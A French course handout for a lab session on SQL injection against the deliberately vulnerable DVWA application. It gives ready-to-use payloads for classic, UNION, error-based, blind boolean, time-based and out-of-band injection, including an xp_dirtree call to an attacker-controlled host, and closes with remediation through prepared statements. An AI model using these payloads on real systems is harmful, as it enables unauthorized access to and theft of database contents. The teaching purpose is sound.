Sécurité des applications web & mobile
TP1 - Injection SQL
Objectifs du TP
• Comprendre les différents types d'injection SQL
• Manipuler les niveaux de sécurité de DVWA
• Proposer des stratégies de remédiation
Configuration
1. Installer DVWA GitHub
2. Lance DVWA et connecte-toi (admin / password).
3. Régle le niveau de sécurité dans DVWA à Low :
DVWA Security → Low → Submit
4. Va dans le module :
Vulnerabilities > SQL Injection
1. Injection SQL Classique
Objectif :
Bypasser la logique de filtrage pour obtenir tous les utilisateurs.
Actions :
• Dans le champ “User ID”, entre :
1' OR '1'='1
• Observe la réponse : tous les utilisateurs s’affichent.
Variante :
• Essaye :
1' OR 1=1 --
ou
' OR 'a'='a
Question : Que se passe-t-il ? Pourquoi tous les utilisateurs s’affichent ?
2. Injection UNION-Based
Objectif :
Récupérer d’autres données via l'opérateur UNION.
1
Sécurité des applications web & mobile
Étapes :
1. Teste combien de colonnes la requête retourne :
1' UNION SELECT NULL -- (erreur)
1' UNION SELECT NULL, NULL -- (succès)
2. Affiche la version du SGBD :
1' UNION SELECT NULL, version() --
3. Affiche le nom de la base :
1' UNION SELECT NULL, database() --
Question : Que permet le mot-clé UNION dans ce contexte ?
3. Injection Error-Based
Objectif :
Exploiter les messages d’erreur SQL pour extraire des infos.
Payload :
1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT user()), 0x3a,
FLOOR(RAND()*2)) x FROM information_schema.tables GROUP BY x) a) --
Résultat :
Une erreur SQL contenant le nom d'utilisateur de la base (ex. dvwa@localhost).
Pourquoi cette erreur donne-t-elle de l'information utile ?
4. Blind SQL Injection (Booléenne)
Objectif :
Tester des conditions vraies ou fausses sans retour d'erreur.
Étapes :
1. Entrer :
1' AND 1=1 --
→ Résultat normal
2. Puis :
2
Sécurité des applications web & mobile
1' AND 1=2 --
→ Aucun résultat
3. Test avancé :
1' AND SUBSTRING((SELECT user()),1,1)='r' --
→ Deviner caractère par caractère
Question : Que peut-on faire en répétant cette technique ?
5. Blind SQL Injection Temporelle
Objectif :
Utiliser le temps de réponse pour valider une condition.
Payload :
1' AND IF(SUBSTRING((SELECT database()),1,1)='d', SLEEP(5), 0) --
Si la page met 5 secondes à répondre, c’est que la première lettre de la BDD est bien d.
Question : Pourquoi cette attaque est plus discrète que les autres ?
6. Injection Out-of-Band (optionnel)
Objectif :
Exploiter un canal externe comme le DNS ou HTTP.
Cette attaque nécessite un serveur que tu contrôles (ex. via Burp Collaborator ou serveur
DNS externe).
Exemple (si le serveur a les droits nécessaires) :
1'; exec xp_dirtree '\\[Link]\test' --
Ici, le serveur essaiera de contacter [Link], permettant à l'attaquant de valider que
l’injection a fonctionné.
Question : Dans quel cas utiliser cette attaque plutôt qu’une autre ?
Analyse et remédiation
1. Passe DVWA en mode Medium, puis High.
2. Recommence les attaques précédentes.
3. Observe :
3
Sécurité des applications web & mobile
oQu’est-ce qui est filtré ?
oQuelles attaques échouent ?
4. Analyse le code source des fichiers PHP dans :
dvwa/vulnerabilities/sqli/source/
Proposition de correction :
Réécris la requête avec PDO et requête préparée :
$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->execute([$_GET['id']]);
À rendre (compte-rendu)
Chaque étudiant devra rendre un document avec :
• Les types d'injection testés
• Payloads utilisés
• Captures d'écran
• Résultats obtenus
• Contre-mesures proposées
• Réflexion finale : "Comment prévenir ce type de vulnérabilité dans un projet réel ?"